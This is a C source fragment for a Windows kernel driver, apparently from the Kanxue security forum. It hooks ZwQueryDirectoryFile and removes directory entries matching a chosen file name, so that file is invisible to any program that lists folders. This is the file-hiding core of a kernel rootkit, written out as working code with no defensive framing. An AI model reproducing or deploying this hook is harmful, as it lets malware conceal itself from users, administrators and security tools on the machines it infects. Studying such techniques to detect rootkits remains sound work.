NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
		NTSTATUS ntStatus = OldZwQueryDirectoryFile(
			FileHandle,
			Event,
			ApcRoutine,
			ApcContext,
			IoStatusBlock,
			FileInformation,
			Length,
			FileInformationClass,
			ReturnSingleEntry,
			FileMask,
			RestartScan);
	__try
	{
		if(NT_SUCCESS(ntStatus) && (
			FileInformationClass == FileDirectoryInformation ||
			FileInformationClass == FileFullDirectoryInformation ||
			FileInformationClass == FileIdFullDirectoryInformation ||
			FileInformationClass == FileBothDirectoryInformation   ||
			FileInformationClass == FileIdBothDirectoryInformation ||
			FileInformationClass == FileNamesInformation 
			))
		{
			PVOID p = FileInformation;
			PVOID pLast = NULL;
			DWORD pLastOne = 0;
			KdPrint(("<--------\n"));
			do{
						if(RtlCompareMemory(FileHide::GetEntryFileName(p,FileInformationClass), m_wHideFile.Buffer,m_wHideFile.Length ) == m_wHideFile.Length )				{
					KdPrint(("[-]Hide.....\n"));
					pLastOne =FileHide::GetNextEntryOffset(p,FileInformationClass);
					if(pLastOne == 0)
					{
						if (p == FileInformation)
							ntStatus = STATUS_NO_MORE_FILES;
						else
							FileHide::SetNextEntryOffset(pLast,FileInformationClass, 0);
						break;
					}
					else
					{
						int iPos = ((ULONG)p) - (ULONG)FileInformation;
						int iLeft = (DWORD)Length - iPos - pLastOne;
						RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
						KdPrint(("iPos:%ld\tLength:%ld\tiLeft:%ld\t,NextOffset:%ld\tpLastOne:%ld\tCurrent:0x%x\n",
							iPos,Length,iLeft,FileHide::GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
						continue;
					}
				}
				pLast = p;
				p = ((char*)p + FileHide::GetNextEntryOffset(p,FileInformationClass));
			}while (pLastOne != 0);
			KdPrint(("-------->\n"));
		}
	}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			KdPrint(("Catch a BSOD\n"));
			return ntStatus;
		}
	return ntStatus;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！